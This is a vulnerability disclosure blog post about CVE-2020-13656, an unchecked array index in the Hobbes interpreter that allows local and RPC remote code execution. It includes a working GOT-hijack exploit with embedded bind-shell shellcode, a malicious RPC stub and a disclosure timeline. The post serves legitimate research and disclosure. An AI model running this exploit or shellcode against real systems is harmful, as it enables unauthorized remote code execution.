OOB to RCE: Exploitation of the Hobbes Functional Interpreter
CVE-2020-13656: In Hobbes through 2020-05-21, the array implementation lacks bounds checking, allowing exploitation of an out-of-bounds (OOB) read/write vulnerability that leads to both local and remote code (via RPC) execution.
|Morgan Stanley||Hobbes||Through 2020-05-21; no fix planned|
Introduction and Discovery
I enjoy reporting vulnerabilities to both large and small open source projects. Up-and-coming projects can be especially great training grounds for security researchers, and the project benefits from growing with a security mindset early on. Wanting to grow my skills in interpreter fuzzing and exploitation, I looked for good candidate projects.
During my search, I came across the Hobbes programming language/interpreter (https://github.com/Morgan-Stanley/hobbes) developed by and used at Morgan Stanley. Here’s a description from official documentation:
“Hobbes has been designed from the ground up, specifically to help devops staff manage the in-process configuration of extremely low latency Order Managers. An Order Manager (sometimes just called the “OM”) is a key component in a trading system - it’s responsible for maintaining the state of all the trade orders the organisation has received and is processing.”
It looked like a cool OSS project with an impactful use case. So, I decided to start looking for bugs. While testing out the language syntax and planning a grammar based fuzzing approach, I accidentally stumbled onto a
SEGFAULT while writing into an array. Surprised, I looked up the documentation to ensure my syntax was correct, and I encountered this:
If you’ve spent any amount time looking for vulnerabilities in interpreters, I’m sure your eyebrows raised. Although it is a documented limitation that arrays do not support bounds checking, this has significant security implications beyond ease of use. I’ll demonstrate this issue with the included Hobbes REPL called
./hi hi : an interactive shell for hobbes type ':h' for help on commands > [1,2,3][-10] <- 1  3272251 segmentation fault ./hi
As shown above, I’m writing the value 1 to the -10th element of a three-element array, which crashes instead of throwing an exception. This allows users to read and write arbitrary memory locations in the interpreter process. With this arbitrary read/write primitive from Hobbes in hand, writing an exploit should be trivial (except for having to write it in a functional language). This could certainly be useful in interpreter escapes and local exploits, but, here’s where it gets more impactful…
A key design of the Hobbes standard library is its RPC network mechanism. To run the interpreter in RPC mode, we simply start it with the
-p switch and we can define a function:
$ ./hi -p 8888 hi : an interactive shell for hobbes type ':h' for help on commands running repl server at :8888 > addOne = \x.x+1
Now, let’s connect with a client and invoke the remote method:
$ ./hi -s > c = connection :: (Connect "localhost:8888" p) => p > printConnection(c) localhost:8888 id expr input output -- ---- ----- ------ > receive(invoke(c, `addOne`, 12)) 13
Let’s take a look at how that exchange looks in Wireshark:
Cleartext exchange aside, in order to get “remote” code execution, we would need to use our OOB array indexing on the server side. Finding a default RPC function that used array indexing was one potential solution, but I began to explore the ability to transfer a lambda function (and even nested lambda functions) via the protocol.
After struggling a bit with the syntax, I came up with the following expression:
\x.receive(invoke(c, `\x.map(\y.[1,2,3][-10] <- y, x)`, x :: [int]))
Without diving too deep, the above expression accomplishes two things:
- It creates a nested lambda function on the server (proving to myself that complex nested expressions could be used if necessary) that iterates over our supplied array writing to the
[1,2,3][-10]1remote memory location with each of our array entries.
- It stores a reference to this remote lambda function definition as the local RPC stub:
With your new remote function, let’s reproduce our crash — this time on the server — by using our malicious RPC stub:
> test([1,2,3,4,5,6,7]) I/O error on socket
Cool! So, ideas that we can demonstrate on a local Hobbes interpreter should also work across the RPC functionality.
I was eager for the challenge of writing a global offset table (GOT) hijack exploit in a functional language…and, well, I can now cross that one off my security bucket list.
I won’t go through the details of performing a GOT hijack in this post (check out this great video by LiveOverflow), but the gist is that a GOT attack is locating the GOT using arbitrary reads, then using an arbitrary write to overwrite a GOT entry (effectively a function pointer) for a commonly used function (e.g.,
strncmp). When that function is invoked, it jumps to the overwritten function pointer, which will point at your shellcode.
Normally, the memory protection of the page would need to be altered, but Hobbes places the array buffer containing our shellcode into a page that’s already marked as executable. I believe this is because it’s an executable JIT page, but I didn’t confirm.
- I craft a
intsthat contains my shellcode.
- I leverage the lack of array bounds checking to find the
libreadline.soso base address nearby in memory.
- Using a known offset of the
strncmpfunction, I overwrite the
strncmpglobal offset table (GOT) entry with a pointer to the
- The next time
strncmpis executed from
payloadBuffershellcode is executed instead.
- The exploit spawns a bind shell on port TCP/9999.
Here is the finished annotated exploit written in Hobbes:
Exploit.hob / Find ELF header magic bytes findElf :: (int, [a]) -> int findElf i xs = if (xs[i] == 1179403647) then i else (findElf(i-1,xs)) // Overwrite GOT entry with pointer to array data buffer (grabbed from nearby). patchGOT :: (int, [a]) -> () patchGOT i xs = xs[i] <- xs[-4]+136 // msfvenom -p linux/x64/shell_bind_tcp LHOST=127.0.0.1 LPORT=9999 -f python payloadBuffer = [-1722275478, 1784611434, 84893185, -950888632, 140292, -1991766233, 1511025382, 257438058, 1479698949, 826803471, 1479240438, -1756887793, 1214120810, 560647935, 1963265880, 1480289014, 800802969, 795765090, 1392535667, 1390905672, -427210665, -1869609713] // Finds libreadline base address libreadlineBaseAddress = findElf(-40960, payloadBuffer) // readelf --relocs /lib/x86_64-linux-gnu/libreadline.so.8.0 | grep "strncmp" // Offset: 00000004b158 (byte)0x4b158 = (int)307544 // Convert offset from bytes to int for addressing strncmpOffset = 307544/4 patchGOT(libreadlineBaseAddress + strncmpOffset, payloadBuffer)
Cool! Let’s see it in action.
As you can see above, I got the local proof of concept (PoC) working. Definitely good enough for submission (*fingers crossed* that I wouldn’t have to rewrite it into a Lambda RPC for the vendor).
Whenever I decide to start digging into a project, I like to submit 1-3 bugs to understand the vendor’s responsiveness to bugs. I am sure my peers in the Bug Bounty community can relate. Although some products might be a fun target to hack, vendors may be unresponsive or uninterested in the bug reports for a variety of reasons.
Unfortunately, for this particular report, the Morgan Stanley security contacts were unresponsive after confirming receipt. Although I was able to reach out to the Hobbes lead dev with, in this case, a full PoC and detailed bug report, the dev was unsure if he planned to fix the bug. With permission from the lead dev to share my findings and an expired 90-day deadline, I want to raise awareness for these security issues in Hobbes (especially if it’s being used on production systems).
For affected users of Hobbes, I recommend these actions:
- Request that the Hobbes project address this vulnerability
- Avoid using the Hobbes RPC mechanism
- Do not rely on the Hobbes interpreter to sandbox or restrict users' ability to execute code on the underlying system.
As security researchers, we can try our best by providing detailed bug reports with strong PoCs, but there will be times where our reports will be ignored or rejected.
I hope this example will help to share the current security risks of Hobbes, share the researcher perspective in unresponsive vulnerability disclosure, and encourage other researchers to try reporting to smaller open source projects (even if it doesn’t always work out).
Jake Miller, Lead Researcher, Bishop Fox - @theBumbleSec
- Sent bug report and PoC to Morgan Stanley CyberSec team per their disclosure guidelines with 90-day disclosure deadline: 2/25/20
- Morgan Stanley CyberSec team confirmed receipt: 2/26/20
- Reached out to check on status and offer 30-day extension due to COVID-19: 4/23/20
- No response
- Reached out about status and offered 30-day extension again. Requested response by 5/06/20 to add extension: 5/01/20
- No response
- Reached out to Hobbes Lead Dev/Creator to ensure he had received details and check on remediation status: 5/04/20
- Quick response from dev, but unfortunately 2 months into the disclosure, and the bug was news to him.
- Decided to give Morgan Stanley CyberSec team a bit more time before sending bug to Lead Dev and revisiting timeline.
- Sent bug report and PoC to Hobbes lead dev/creator: 5/08/20
- Reached to Hobbes lead dev to determine a revised comfortable/reasonable disclosure date: 5/19/20
- Lead dev responded “Please feel free to disclose whenever you’d like, however you’d like. I might copy this to the GitHub ‘issues’ list (though I think that this has come up already) since that’s normally where we track and respond to things like this.”
- 90-day disclosure deadline: 5/25/20
- Assigned CVE-2020-13656: 5/28/20
- Public disclosure: 6/12/20
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.